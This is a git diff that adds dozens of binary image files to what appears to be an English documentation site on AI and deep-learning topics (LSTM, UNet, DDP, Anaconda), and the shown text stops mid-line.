--git a/en/assets/images/202211302250742-148ab5268388dfc6b90a4cf1b16d5c7c.png-1 b/en/assets/images/202211302250742-148ab5268388dfc6b90a4cf1b16d5c7c.png-1 new file mode 100644 index 0000000..b434d48 Binary files /dev/null and b/en/assets/images/202211302250742-148ab5268388dfc6b90a4cf1b16d5c7c.png-1 differ diff --git a/en/assets/images/202212010019366-f8f7529fc6e14fd9275825decb2926e1.png-1 b/en/assets/images/202212010019366-f8f7529fc6e14fd9275825decb2926e1.png-1 new file mode 100644 index 0000000..460f08e Binary files /dev/null and b/en/assets/images/202212010019366-f8f7529fc6e14fd9275825decb2926e1.png-1 differ diff --git a/en/assets/images/202403182249832-20241231164045338-e32b707431c905a07ab35c90835ef215.png b/en/assets/images/202403182249832-20241231164045338-e32b707431c905a07ab35c90835ef215.png new file mode 100644 index 0000000..14f6237 Binary files /dev/null and b/en/assets/images/202403182249832-20241231164045338-e32b707431c905a07ab35c90835ef215.png differ diff --git a/en/assets/images/202403182337995-265e4f2065034a994df6a30c00cfd8d3.png b/en/assets/images/202403182337995-265e4f2065034a994df6a30c00cfd8d3.png new file mode 100644 index 0000000..e721115 Binary files /dev/null and b/en/assets/images/202403182337995-265e4f2065034a994df6a30c00cfd8d3.png differ diff --git a/en/assets/images/202403182338042-facfa1c13af8ca73b5ff277ae3664479.png b/en/assets/images/202403182338042-facfa1c13af8ca73b5ff277ae3664479.png new file mode 100644 index 0000000..dc152a9 Binary files /dev/null and b/en/assets/images/202403182338042-facfa1c13af8ca73b5ff277ae3664479.png differ diff --git a/en/assets/images/202403182338102-f0b786e6e9b8323ececb24101cb8dbbb.png b/en/assets/images/202403182338102-f0b786e6e9b8323ececb24101cb8dbbb.png new file mode 100644 index 0000000..ec4864e Binary files /dev/null and b/en/assets/images/202403182338102-f0b786e6e9b8323ececb24101cb8dbbb.png differ diff --git a/en/assets/images/202403182338872-1e44b57182fc5142b8d25abba83ce795.png b/en/assets/images/202403182338872-1e44b57182fc5142b8d25abba83ce795.png new file mode 100644 index 0000000..f3c9554 Binary files /dev/null and b/en/assets/images/202403182338872-1e44b57182fc5142b8d25abba83ce795.png differ diff --git a/en/assets/images/202403192205111-4a87ad8cf4c7c9bb221a2d25c0fe9fef.png b/en/assets/images/202403192205111-4a87ad8cf4c7c9bb221a2d25c0fe9fef.png new file mode 100644 index 0000000..8a72955 Binary files /dev/null and b/en/assets/images/202403192205111-4a87ad8cf4c7c9bb221a2d25c0fe9fef.png differ diff --git a/en/assets/images/202403192205112-dd008b103944db149227f73266daa513.png b/en/assets/images/202403192205112-dd008b103944db149227f73266daa513.png new file mode 100644 index 0000000..c62fee2 Binary files /dev/null and b/en/assets/images/202403192205112-dd008b103944db149227f73266daa513.png differ diff --git a/en/assets/images/202403192205113-c02ad2dcfdece0a929c81f63e0a56f38.png b/en/assets/images/202403192205113-c02ad2dcfdece0a929c81f63e0a56f38.png new file mode 100644 index 0000000..f5142fa Binary files /dev/null and b/en/assets/images/202403192205113-c02ad2dcfdece0a929c81f63e0a56f38.png differ diff --git a/en/assets/images/202403192205114-0f3b6ab94429959c10f0fb54bd29b887.png b/en/assets/images/202403192205114-0f3b6ab94429959c10f0fb54bd29b887.png new file mode 100644 index 0000000..d580583 Binary files /dev/null and b/en/assets/images/202403192205114-0f3b6ab94429959c10f0fb54bd29b887.png differ diff --git a/en/assets/images/202403192205116-637ad2d0c24c819e3475704613d6c08f.png b/en/assets/images/202403192205116-637ad2d0c24c819e3475704613d6c08f.png new file mode 100644 index 0000000..2eb268a Binary files /dev/null and b/en/assets/images/202403192205116-637ad2d0c24c819e3475704613d6c08f.png differ diff --git a/en/assets/images/202403192205117-99ae4163c5e136f4c521810ae9c9335f.png b/en/assets/images/202403192205117-99ae4163c5e136f4c521810ae9c9335f.png new file mode 100644 index 0000000..3a4fc3d Binary files /dev/null and b/en/assets/images/202403192205117-99ae4163c5e136f4c521810ae9c9335f.png differ diff --git a/en/assets/images/202511031525099-20251103153630370-a1e325e7362f047772ee1bf566a5148e.png b/en/assets/images/202511031525099-20251103153630370-a1e325e7362f047772ee1bf566a5148e.png new file mode 100644 index 0000000..665dca4 Binary files /dev/null and b/en/assets/images/202511031525099-20251103153630370-a1e325e7362f047772ee1bf566a5148e.png differ diff --git a/en/assets/images/202511031525101-20251103153630312-36b96339f46a345c5fc57e64ef1869c3.png b/en/assets/images/202511031525101-20251103153630312-36b96339f46a345c5fc57e64ef1869c3.png new file mode 100644 index 0000000..c0a2c81 Binary files /dev/null and b/en/assets/images/202511031525101-20251103153630312-36b96339f46a345c5fc57e64ef1869c3.png differ diff --git a/en/assets/images/202511031525102-20251103153630350-9750e81abd6daed9497373c467fe1422.png b/en/assets/images/202511031525102-20251103153630350-9750e81abd6daed9497373c467fe1422.png new file mode 100644 index 0000000..052fa12 Binary files /dev/null and b/en/assets/images/202511031525102-20251103153630350-9750e81abd6daed9497373c467fe1422.png differ diff --git a/en/assets/images/202511031525103-20251103153630350-553bcfbbdb6aefcf08e6c864fb82c7c9.png b/en/assets/images/202511031525103-20251103153630350-553bcfbbdb6aefcf08e6c864fb82c7c9.png new file mode 100644 index 0000000..81ad15c Binary files /dev/null and b/en/assets/images/202511031525103-20251103153630350-553bcfbbdb6aefcf08e6c864fb82c7c9.png differ diff --git a/en/assets/images/202511031525104-20251103153630369-ac483afb04ffd54e81b38c927edd1cc1.png b/en/assets/images/202511031525104-20251103153630369-ac483afb04ffd54e81b38c927edd1cc1.png new file mode 100644 index 0000000..f43b77f Binary files /dev/null and b/en/assets/images/202511031525104-20251103153630369-ac483afb04ffd54e81b38c927edd1cc1.png differ diff --git a/en/assets/images/202511031525105-20251103153630429-8d6c8ec6826aed1acc040e9450a3be7c.png b/en/assets/images/202511031525105-20251103153630429-8d6c8ec6826aed1acc040e9450a3be7c.png new file mode 100644 index 0000000..77135d6 Binary files /dev/null and b/en/assets/images/202511031525105-20251103153630429-8d6c8ec6826aed1acc040e9450a3be7c.png differ diff --git a/en/assets/images/202511031525106-20251103153630377-dd476fdb7e91a9982a67928a27b33689.png b/en/assets/images/202511031525106-20251103153630377-dd476fdb7e91a9982a67928a27b33689.png new file mode 100644 index 0000000..202befb Binary files /dev/null and b/en/assets/images/202511031525106-20251103153630377-dd476fdb7e91a9982a67928a27b33689.png differ diff --git a/en/assets/images/202511031525107-20251103153630400-e10cdef1a2b7cc52962bc5c75327d7b5.png b/en/assets/images/202511031525107-20251103153630400-e10cdef1a2b7cc52962bc5c75327d7b5.png new file mode 100644 index 0000000..9fa918d Binary files /dev/null and b/en/assets/images/202511031525107-20251103153630400-e10cdef1a2b7cc52962bc5c75327d7b5.png differ diff --git a/en/assets/images/202511031525108-20251103153630477-2b41cae60abda1afae1c30b29a0404ea.png b/en/assets/images/202511031525108-20251103153630477-2b41cae60abda1afae1c30b29a0404ea.png new file mode 100644 index 0000000..ca1a627 Binary files /dev/null and b/en/assets/images/202511031525108-20251103153630477-2b41cae60abda1afae1c30b29a0404ea.png differ diff --git a/en/assets/images/202511101525044-50ba89b683b00abae6e1533ee36e9be8.png b/en/assets/images/202511101525044-50ba89b683b00abae6e1533ee36e9be8.png new file mode 100644 index 0000000..9ae95ba Binary files /dev/null and b/en/assets/images/202511101525044-50ba89b683b00abae6e1533ee36e9be8.png differ diff --git a/en/assets/images/202511101525050-57ce8e6ebcccecda9566cfa94ae0079d.png b/en/assets/images/202511101525050-57ce8e6ebcccecda9566cfa94ae0079d.png new file mode 100644 index 0000000..365f2a9 Binary files /dev/null and b/en/assets/images/202511101525050-57ce8e6ebcccecda9566cfa94ae0079d.png differ diff --git a/en/assets/images/2822d519284e2178b008fb245a207db1-fb6e3baf1918f94ba359f7248e1144be.png b/en/assets/images/2822d519284e2178b008fb245a207db1-fb6e3baf1918f94ba359f7248e1144be.png new file mode 100644 index 0000000..650357a Binary files /dev/null and b/en/assets/images/2822d519284e2178b008fb245a207db1-fb6e3baf1918f94ba359f7248e1144be.png differ diff --git a/en/assets/images/3.4.1-19eccc1a9cdb292575b8f591c1dc7b92.png b/en/assets/images/3.4.1-19eccc1a9cdb292575b8f591c1dc7b92.png new file mode 100644 index 0000000..d34ffb9 Binary files /dev/null and b/en/assets/images/3.4.1-19eccc1a9cdb292575b8f591c1dc7b92.png differ diff --git a/en/assets/images/3.4.2-ae440b6977390969adb347c39aa5260c.png b/en/assets/images/3.4.2-ae440b6977390969adb347c39aa5260c.png new file mode 100644 index 0000000..df0555a Binary files /dev/null and b/en/assets/images/3.4.2-ae440b6977390969adb347c39aa5260c.png differ diff --git a/en/assets/images/3.5.1lossfunciton-24b85c349438c3ed522ead54b5340e62.png b/en/assets/images/3.5.1lossfunciton-24b85c349438c3ed522ead54b5340e62.png new file mode 100644 index 0000000..a4cf3bf Binary files /dev/null and b/en/assets/images/3.5.1lossfunciton-24b85c349438c3ed522ead54b5340e62.png differ diff --git a/en/assets/images/3.5.2-325562f3d43de00833781903c0c1a8d2.png b/en/assets/images/3.5.2-325562f3d43de00833781903c0c1a8d2.png new file mode 100644 index 0000000..3a1e632 Binary files /dev/null and b/en/assets/images/3.5.2-325562f3d43de00833781903c0c1a8d2.png differ diff --git a/en/assets/images/3.6.1-c1ee95e9e5c6e05469f47cab67d0c8ac.png b/en/assets/images/3.6.1-c1ee95e9e5c6e05469f47cab67d0c8ac.png new file mode 100644 index 0000000..a02a51b Binary files /dev/null and b/en/assets/images/3.6.1-c1ee95e9e5c6e05469f47cab67d0c8ac.png differ diff --git a/en/assets/images/3.6.2-8bc87fe2341be69165add66702b37147.png b/en/assets/images/3.6.2-8bc87fe2341be69165add66702b37147.png new file mode 100644 index 0000000..6c10ee4 Binary files /dev/null and b/en/assets/images/3.6.2-8bc87fe2341be69165add66702b37147.png differ diff --git a/en/assets/images/5.2.1unet-f0e9aa890b967da85a7bd9a1fd73c55a.png b/en/assets/images/5.2.1unet-f0e9aa890b967da85a7bd9a1fd73c55a.png new file mode 100644 index 0000000..312c59f Binary files /dev/null and b/en/assets/images/5.2.1unet-f0e9aa890b967da85a7bd9a1fd73c55a.png differ diff --git a/en/assets/images/5007a129124cb7e3a84f851529884436-1d0d8228ba2bf52d840dc02b54aea2d6.png b/en/assets/images/5007a129124cb7e3a84f851529884436-1d0d8228ba2bf52d840dc02b54aea2d6.png new file mode 100644 index 0000000..4e3dfc0 Binary files /dev/null and b/en/assets/images/5007a129124cb7e3a84f851529884436-1d0d8228ba2bf52d840dc02b54aea2d6.png differ diff --git a/en/assets/images/640-20251105111704240-d1c80da20bcf4f4a890289e2e11a7b3f.png b/en/assets/images/640-20251105111704240-d1c80da20bcf4f4a890289e2e11a7b3f.png new file mode 100644 index 0000000..ffad84a Binary files /dev/null and b/en/assets/images/640-20251105111704240-d1c80da20bcf4f4a890289e2e11a7b3f.png differ diff --git a/en/assets/images/640-20251105111704389-2e949c08fb30d2ce180774a8baf60d27.png b/en/assets/images/640-20251105111704389-2e949c08fb30d2ce180774a8baf60d27.png new file mode 100644 index 0000000..0fce66f Binary files /dev/null and b/en/assets/images/640-20251105111704389-2e949c08fb30d2ce180774a8baf60d27.png differ diff --git a/en/assets/images/640-20251105111704418-62a65b2d504965d3c5d59ea2076acc27.png b/en/assets/images/640-20251105111704418-62a65b2d504965d3c5d59ea2076acc27.png new file mode 100644 index 0000000..95ff848 Binary files /dev/null and b/en/assets/images/640-20251105111704418-62a65b2d504965d3c5d59ea2076acc27.png differ diff --git a/en/assets/images/640-20251105111704436-bcac6e75773f86c86106f0c80a52651f.png b/en/assets/images/640-20251105111704436-bcac6e75773f86c86106f0c80a52651f.png new file mode 100644 index 0000000..fd7e769 Binary files /dev/null and b/en/assets/images/640-20251105111704436-bcac6e75773f86c86106f0c80a52651f.png differ diff --git a/en/assets/images/640-20251105111704461-f0b18d6a548e5f9e6f5d98c7f9d0573f.png b/en/assets/images/640-20251105111704461-f0b18d6a548e5f9e6f5d98c7f9d0573f.png new file mode 100644 index 0000000..5619a52 Binary files /dev/null and b/en/assets/images/640-20251105111704461-f0b18d6a548e5f9e6f5d98c7f9d0573f.png differ diff --git a/en/assets/images/640-20251105111704497-ba3f7e68b47b94cce63c8746df01a457.png b/en/assets/images/640-20251105111704497-ba3f7e68b47b94cce63c8746df01a457.png new file mode 100644 index 0000000..c1e1896 Binary files /dev/null and b/en/assets/images/640-20251105111704497-ba3f7e68b47b94cce63c8746df01a457.png differ diff --git a/en/assets/images/640-20251105111704560-6cae391413aa5e44f269ab764a03baec.png b/en/assets/images/640-20251105111704560-6cae391413aa5e44f269ab764a03baec.png new file mode 100644 index 0000000..d919c9d Binary files /dev/null and b/en/assets/images/640-20251105111704560-6cae391413aa5e44f269ab764a03baec.png differ diff --git a/en/assets/images/640-20251105111704579-42d4d6fec2bda63eacf4ecf65658a5a8.png b/en/assets/images/640-20251105111704579-42d4d6fec2bda63eacf4ecf65658a5a8.png new file mode 100644 index 0000000..af165a1 Binary files /dev/null and b/en/assets/images/640-20251105111704579-42d4d6fec2bda63eacf4ecf65658a5a8.png differ diff --git a/en/assets/images/640-20251105111704610-3fdc2fb2194438ed1eb97bcd26d6dc88.png b/en/assets/images/640-20251105111704610-3fdc2fb2194438ed1eb97bcd26d6dc88.png new file mode 100644 index 0000000..874ebda Binary files /dev/null and b/en/assets/images/640-20251105111704610-3fdc2fb2194438ed1eb97bcd26d6dc88.png differ diff --git a/en/assets/images/640-20251105111704633-88f8990707ad4527a411435412d49945.png b/en/assets/images/640-20251105111704633-88f8990707ad4527a411435412d49945.png new file mode 100644 index 0000000..3ad0fa9 Binary files /dev/null and b/en/assets/images/640-20251105111704633-88f8990707ad4527a411435412d49945.png differ diff --git a/en/assets/images/640-20251105111704653-87ffebf3b03651170d5f958e2a9c7f3e.png b/en/assets/images/640-20251105111704653-87ffebf3b03651170d5f958e2a9c7f3e.png new file mode 100644 index 0000000..245b19e Binary files /dev/null and b/en/assets/images/640-20251105111704653-87ffebf3b03651170d5f958e2a9c7f3e.png differ diff --git a/en/assets/images/640-20251105111704720-101dd45c8e00ddf9a8d98605d6d3d1ac.png b/en/assets/images/640-20251105111704720-101dd45c8e00ddf9a8d98605d6d3d1ac.png new file mode 100644 index 0000000..814716f Binary files /dev/null and b/en/assets/images/640-20251105111704720-101dd45c8e00ddf9a8d98605d6d3d1ac.png differ diff --git a/en/assets/images/640-20251105111704758-8b3cd494ccc059a4a008b5a81ddb5fe2.png b/en/assets/images/640-20251105111704758-8b3cd494ccc059a4a008b5a81ddb5fe2.png new file mode 100644 index 0000000..244dbaf Binary files /dev/null and b/en/assets/images/640-20251105111704758-8b3cd494ccc059a4a008b5a81ddb5fe2.png differ diff --git a/en/assets/images/640-20251105111704759-0a4d67e9e532445b938dc184a7567df5.png b/en/assets/images/640-20251105111704759-0a4d67e9e532445b938dc184a7567df5.png new file mode 100644 index 0000000..ffad2f1 Binary files /dev/null and b/en/assets/images/640-20251105111704759-0a4d67e9e532445b938dc184a7567df5.png differ diff --git a/en/assets/images/640-20251105111704865-b5a821ba78137ab90a1e2418f2cb9ee7.png b/en/assets/images/640-20251105111704865-b5a821ba78137ab90a1e2418f2cb9ee7.png new file mode 100644 index 0000000..3550207 Binary files /dev/null and b/en/assets/images/640-20251105111704865-b5a821ba78137ab90a1e2418f2cb9ee7.png differ diff --git a/en/assets/images/640-20251105111704877-2317014-b7068b3eae0b986c0ade18a3e1d7b916.png b/en/assets/images/640-20251105111704877-2317014-b7068b3eae0b986c0ade18a3e1d7b916.png new file mode 100644 index 0000000..4bbb216 Binary files /dev/null and b/en/assets/images/640-20251105111704877-2317014-b7068b3eae0b986c0ade18a3e1d7b916.png differ diff --git a/en/assets/images/640-20251105111704877-b7068b3eae0b986c0ade18a3e1d7b916.png b/en/assets/images/640-20251105111704877-b7068b3eae0b986c0ade18a3e1d7b916.png new file mode 100644 index 0000000..4bbb216 Binary files /dev/null and b/en/assets/images/640-20251105111704877-b7068b3eae0b986c0ade18a3e1d7b916.png differ diff --git a/en/assets/images/640-20251105111704916-0dc3cf52573c3795e7d6e2356b393b4f.png b/en/assets/images/640-20251105111704916-0dc3cf52573c3795e7d6e2356b393b4f.png new file mode 100644 index 0000000..3436626 Binary files /dev/null and b/en/assets/images/640-20251105111704916-0dc3cf52573c3795e7d6e2356b393b4f.png differ diff --git a/en/assets/images/640-20251105111704932-4cf598b91e740b7e76a6db98f23ad0f3.png b/en/assets/images/640-20251105111704932-4cf598b91e740b7e76a6db98f23ad0f3.png new file mode 100644 index 0000000..60bef3b Binary files /dev/null and b/en/assets/images/640-20251105111704932-4cf598b91e740b7e76a6db98f23ad0f3.png differ diff --git a/en/assets/images/640-20251105111704971-42ccc6072171a6990dfce6e1e3ae99b1.png b/en/assets/images/640-20251105111704971-42ccc6072171a6990dfce6e1e3ae99b1.png new file mode 100644 index 0000000..21affa0 Binary files /dev/null and b/en/assets/images/640-20251105111704971-42ccc6072171a6990dfce6e1e3ae99b1.png differ diff --git a/en/assets/images/640-20251105111704999-f7131f7e2943bbca27bb7d84a9242bc3.png b/en/assets/images/640-20251105111704999-f7131f7e2943bbca27bb7d84a9242bc3.png new file mode 100644 index 0000000..04a540e Binary files /dev/null and b/en/assets/images/640-20251105111704999-f7131f7e2943bbca27bb7d84a9242bc3.png differ diff --git a/en/assets/images/640-20251105111705010-ff3c135bce353e96cc6ef13ce2212aa2.png b/en/assets/images/640-20251105111705010-ff3c135bce353e96cc6ef13ce2212aa2.png new file mode 100644 index 0000000..698a737 Binary files /dev/null and b/en/assets/images/640-20251105111705010-ff3c135bce353e96cc6ef13ce2212aa2.png differ diff --git a/en/assets/images/640-20251105111705017-96a4f7291389ac5fdbc2bda7e70f9166.png b/en/assets/images/640-20251105111705017-96a4f7291389ac5fdbc2bda7e70f9166.png new file mode 100644 index 0000000..04a3d78 Binary files /dev/null and b/en/assets/images/640-20251105111705017-96a4f7291389ac5fdbc2bda7e70f9166.png differ diff --git a/en/assets/images/640-20251105111705035-5763696b0d7e6780daea21e0538db56e.png b/en/assets/images/640-20251105111705035-5763696b0d7e6780daea21e0538db56e.png new file mode 100644 index 0000000..e7d2458 Binary files /dev/null and b/en/assets/images/640-20251105111705035-5763696b0d7e6780daea21e0538db56e.png differ diff --git a/en/assets/images/640-20251105111705050-c4a2c4d278c11ba1cca8f0175a416335.png b/en/assets/images/640-20251105111705050-c4a2c4d278c11ba1cca8f0175a416335.png new file mode 100644 index 0000000..0c1b098 Binary files /dev/null and b/en/assets/images/640-20251105111705050-c4a2c4d278c11ba1cca8f0175a416335.png differ diff --git a/en/assets/images/640-20251105111705057-e8bb568c921ea783f926d27a50e0ac13.png b/en/assets/images/640-20251105111705057-e8bb568c921ea783f926d27a50e0ac13.png new file mode 100644 index 0000000..7b355f7 Binary files /dev/null and b/en/assets/images/640-20251105111705057-e8bb568c921ea783f926d27a50e0ac13.png differ diff --git a/en/assets/images/640-20251105111705060-2daa47ee97fa73b3efba195ab84f6691.png b/en/assets/images/640-20251105111705060-2daa47ee97fa73b3efba195ab84f6691.png new file mode 100644 index 0000000..92cbe1c Binary files /dev/null and b/en/assets/images/640-20251105111705060-2daa47ee97fa73b3efba195ab84f6691.png differ diff --git a/en/assets/images/640-20251105111705084-7585bdd4108b4e535a7679ace50dc752.png b/en/assets/images/640-20251105111705084-7585bdd4108b4e535a7679ace50dc752.png new file mode 100644 index 0000000..3e1c204 Binary files /dev/null and b/en/assets/images/640-20251105111705084-7585bdd4108b4e535a7679ace50dc752.png differ diff --git a/en/assets/images/640-20251105111705087-2312625-b4939109649187d34cb65a7e33272c4a.png b/en/assets/images/640-20251105111705087-2312625-b4939109649187d34cb65a7e33272c4a.png new file mode 100644 index 0000000..4565aaa Binary files /dev/null and b/en/assets/images/640-20251105111705087-2312625-b4939109649187d34cb65a7e33272c4a.png differ diff --git a/en/assets/images/640-20251105111705087-b4939109649187d34cb65a7e33272c4a.png b/en/assets/images/640-20251105111705087-b4939109649187d34cb65a7e33272c4a.png new file mode 100644 index 0000000..4565aaa Binary files /dev/null and b/en/assets/images/640-20251105111705087-b4939109649187d34cb65a7e33272c4a.png differ diff --git a/en/assets/images/640-20251105111705111-1e259ab96b522084de54625abe5d78dd.png b/en/assets/images/640-20251105111705111-1e259ab96b522084de54625abe5d78dd.png new file mode 100644 index 0000000..c506e50 Binary files /dev/null and b/en/assets/images/640-20251105111705111-1e259ab96b522084de54625abe5d78dd.png differ diff --git a/en/assets/images/640-20251105111705113-66a1edbc225f46b305a6e6a2d54671a0.png b/en/assets/images/640-20251105111705113-66a1edbc225f46b305a6e6a2d54671a0.png new file mode 100644 index 0000000..7a46a33 Binary files /dev/null and b/en/assets/images/640-20251105111705113-66a1edbc225f46b305a6e6a2d54671a0.png differ diff --git a/en/assets/images/640-20251105111705136-430cb1687833e23a8dee48a8eb36abeb.png b/en/assets/images/640-20251105111705136-430cb1687833e23a8dee48a8eb36abeb.png new file mode 100644 index 0000000..86ea535 Binary files /dev/null and b/en/assets/images/640-20251105111705136-430cb1687833e23a8dee48a8eb36abeb.png differ diff --git a/en/assets/images/640-20251105111705160-8a966cb5a9c8605b00f61412b1e4b000.png b/en/assets/images/640-20251105111705160-8a966cb5a9c8605b00f61412b1e4b000.png new file mode 100644 index 0000000..10e2424 Binary files /dev/null and b/en/assets/images/640-20251105111705160-8a966cb5a9c8605b00f61412b1e4b000.png differ diff --git a/en/assets/images/640-20251105111705163-987236782ef0231825b84fbd65574b87.png b/en/assets/images/640-20251105111705163-987236782ef0231825b84fbd65574b87.png new file mode 100644 index 0000000..504cdce Binary files /dev/null and b/en/assets/images/640-20251105111705163-987236782ef0231825b84fbd65574b87.png differ diff --git a/en/assets/images/640-20251105111705178-f6b709f3a2893fd410301ce16db9072a.png b/en/assets/images/640-20251105111705178-f6b709f3a2893fd410301ce16db9072a.png new file mode 100644 index 0000000..187461d Binary files /dev/null and b/en/assets/images/640-20251105111705178-f6b709f3a2893fd410301ce16db9072a.png differ diff --git a/en/assets/images/640-20251105111705180-6766f842211a1e9806e554b68f7438f9.png b/en/assets/images/640-20251105111705180-6766f842211a1e9806e554b68f7438f9.png new file mode 100644 index 0000000..f48bc84 Binary files /dev/null and b/en/assets/images/640-20251105111705180-6766f842211a1e9806e554b68f7438f9.png differ diff --git a/en/assets/images/640-20251105111705200-765e1283aa6f49d01c822cf66f473905.png b/en/assets/images/640-20251105111705200-765e1283aa6f49d01c822cf66f473905.png new file mode 100644 index 0000000..5d441b0 Binary files /dev/null and b/en/assets/images/640-20251105111705200-765e1283aa6f49d01c822cf66f473905.png differ diff --git a/en/assets/images/640-20251105111705214-68f9a67a84f676cf003992363faa71b4.png b/en/assets/images/640-20251105111705214-68f9a67a84f676cf003992363faa71b4.png new file mode 100644 index 0000000..a0be79c Binary files /dev/null and b/en/assets/images/640-20251105111705214-68f9a67a84f676cf003992363faa71b4.png differ diff --git a/en/assets/images/640-20251105111705222-e8f4f566c37137e1267f0a5ac0eed91a.png b/en/assets/images/640-20251105111705222-e8f4f566c37137e1267f0a5ac0eed91a.png new file mode 100644 index 0000000..67eb4c9 Binary files /dev/null and b/en/assets/images/640-20251105111705222-e8f4f566c37137e1267f0a5ac0eed91a.png differ diff --git a/en/assets/images/640-20251105111705266-3f4eecfda6e3261754b7de8c172b8d98.png b/en/assets/images/640-20251105111705266-3f4eecfda6e3261754b7de8c172b8d98.png new file mode 100644 index 0000000..afaee08 Binary files /dev/null and b/en/assets/images/640-20251105111705266-3f4eecfda6e3261754b7de8c172b8d98.png differ diff --git a/en/assets/images/640-20251105111705276-3d9c40871132b85730ce5143fd74b72f.png b/en/assets/images/640-20251105111705276-3d9c40871132b85730ce5143fd74b72f.png new file mode 100644 index 0000000..1f7492d Binary files /dev/null and b/en/assets/images/640-20251105111705276-3d9c40871132b85730ce5143fd74b72f.png differ diff --git a/en/assets/images/640-20251105111705277-1b60509f70199a73866ba0a045f44264.png b/en/assets/images/640-20251105111705277-1b60509f70199a73866ba0a045f44264.png new file mode 100644 index 0000000..b7b42ac Binary files /dev/null and b/en/assets/images/640-20251105111705277-1b60509f70199a73866ba0a045f44264.png differ diff --git a/en/assets/images/640-20251105111705293-62e68bb57d1245d185b41c48304abab9.png b/en/assets/images/640-20251105111705293-62e68bb57d1245d185b41c48304abab9.png new file mode 100644 index 0000000..b7217d4 Binary files /dev/null and b/en/assets/images/640-20251105111705293-62e68bb57d1245d185b41c48304abab9.png differ diff --git a/en/assets/images/640-20251105111705310-87655b0dcfba15b7e5dbfef85c9d5f5a.png b/en/assets/images/640-20251105111705310-87655b0dcfba15b7e5dbfef85c9d5f5a.png new file mode 100644 index 0000000..3224fd4 Binary files /dev/null and b/en/assets/images/640-20251105111705310-87655b0dcfba15b7e5dbfef85c9d5f5a.png differ diff --git a/en/assets/images/640-20251105111705366-a3d40547aa01786d28f665152d5f1d19.png b/en/assets/images/640-20251105111705366-a3d40547aa01786d28f665152d5f1d19.png new file mode 100644 index 0000000..404ec34 Binary files /dev/null and b/en/assets/images/640-20251105111705366-a3d40547aa01786d28f665152d5f1d19.png differ diff --git a/en/assets/images/640-d5c905bfda9b6a149a52f11d109202ff.png b/en/assets/images/640-d5c905bfda9b6a149a52f11d109202ff.png new file mode 100644 index 0000000..8f502be Binary files /dev/null and b/en/assets/images/640-d5c905bfda9b6a149a52f11d109202ff.png differ diff --git a/en/assets/images/650f67657bc934405a122dcf131189ee-b50041e2c384fa341c08efad9b404e91.png b/en/assets/images/650f67657bc934405a122dcf131189ee-b50041e2c384fa341c08efad9b404e91.png new file mode 100644 index 0000000..5e34803 Binary files /dev/null and b/en/assets/images/650f67657bc934405a122dcf131189ee-b50041e2c384fa341c08efad9b404e91.png differ diff --git a/en/assets/images/71d59a397371a8a061736a8aa625eea1-7a900fb2867708f8078ee1f5532433d1.png b/en/assets/images/71d59a397371a8a061736a8aa625eea1-7a900fb2867708f8078ee1f5532433d1.png new file mode 100644 index 0000000..2e597fc Binary files /dev/null and b/en/assets/images/71d59a397371a8a061736a8aa625eea1-7a900fb2867708f8078ee1f5532433d1.png differ diff --git a/en/assets/images/8d21ef7a38064f02f76316ab1c70c1b0-d83a1cf1196f176519ebce1b51765c44.png b/en/assets/images/8d21ef7a38064f02f76316ab1c70c1b0-d83a1cf1196f176519ebce1b51765c44.png new file mode 100644 index 0000000..6cf0d9f Binary files /dev/null and b/en/assets/images/8d21ef7a38064f02f76316ab1c70c1b0-d83a1cf1196f176519ebce1b51765c44.png differ diff --git a/en/assets/images/AI&ML&DL-cb4ef7708a7c0da09a5a14fda7b7d433.jpg b/en/assets/images/AI&ML&DL-cb4ef7708a7c0da09a5a14fda7b7d433.jpg new file mode 100644 index 0000000..d89082b Binary files /dev/null and b/en/assets/images/AI&ML&DL-cb4ef7708a7c0da09a5a14fda7b7d433.jpg differ diff --git a/en/assets/images/AI-eb8a89aeff51a1b7b3a58b69692e35ab.jpg b/en/assets/images/AI-eb8a89aeff51a1b7b3a58b69692e35ab.jpg new file mode 100644 index 0000000..87797ef Binary files /dev/null and b/en/assets/images/AI-eb8a89aeff51a1b7b3a58b69692e35ab.jpg differ diff --git a/en/assets/images/Anaconda-762136515146dabffceabb1a4337ccac.png b/en/assets/images/Anaconda-762136515146dabffceabb1a4337ccac.png new file mode 100644 index 0000000..4a371c3 Binary files /dev/null and b/en/assets/images/Anaconda-762136515146dabffceabb1a4337ccac.png differ diff --git a/en/assets/images/Architecture-67a7aa2845a3aa954692733fdfef2351.png b/en/assets/images/Architecture-67a7aa2845a3aa954692733fdfef2351.png new file mode 100644 index 0000000..2f8c5c0 Binary files /dev/null and b/en/assets/images/Architecture-67a7aa2845a3aa954692733fdfef2351.png differ diff --git a/en/assets/images/CPU&NPU-02dff11a75273a4be8d701a914e24a19.png b/en/assets/images/CPU&NPU-02dff11a75273a4be8d701a914e24a19.png new file mode 100644 index 0000000..2ed1b3d Binary files /dev/null and b/en/assets/images/CPU&NPU-02dff11a75273a4be8d701a914e24a19.png differ diff --git a/en/assets/images/DDP-4ac34f661bf8819d344cf21524c25540.png b/en/assets/images/DDP-4ac34f661bf8819d344cf21524c25540.png new file mode 100644 index 0000000..62bbe60 Binary files /dev/null and b/en/assets/images/DDP-4ac34f661bf8819d344cf21524c25540.png differ diff --git a/en/assets/images/DP-428ec15ac07925bbf216de1381477c9e.png b/en/assets/images/DP-428ec15ac07925bbf216de1381477c9e.png new file mode 100644 index 0000000..7409b14 Binary files /dev/null and b/en/assets/images/DP-428ec15ac07925bbf216de1381477c9e.png differ diff --git a/en/assets/images/FloorPlan-f84f6a7e178ce89da73e434529e9c84a.jpg b/en/assets/images/FloorPlan-f84f6a7e178ce89da73e434529e9c84a.jpg new file mode 100644 index 0000000..e10b88e Binary files /dev/null and b/en/assets/images/FloorPlan-f84f6a7e178ce89da73e434529e9c84a.jpg differ diff --git a/en/assets/images/Hyper_parameters-27b865308e89e1d457f13e8ba2a87ef7.png b/en/assets/images/Hyper_parameters-27b865308e89e1d457f13e8ba2a87ef7.png new file mode 100644 index 0000000..553d74f Binary files /dev/null and b/en/assets/images/Hyper_parameters-27b865308e89e1d457f13e8ba2a87ef7.png differ diff --git a/en/assets/images/LSTM-arch-2c610904684f1728ec0c9404d9c23e4e.jpg b/en/assets/images/LSTM-arch-2c610904684f1728ec0c9404d9c23e4e.jpg new file mode 100644 index 0000000..2ce3cd6 Binary files /dev/null and b/en/assets/images/LSTM-arch-2c610904684f1728ec0c9404d9c23e4e.jpg differ diff --git a/en/assets/images/LSTM-gate_f-5c93006df95e14babe8307eeee3f3e9c.jpg b/en/assets/images/LSTM-gate_f-5c93006df95e14babe8307eeee3f3e9c.jpg new file mode 100644 index 0000000..423c1ce Binary files /dev/null and 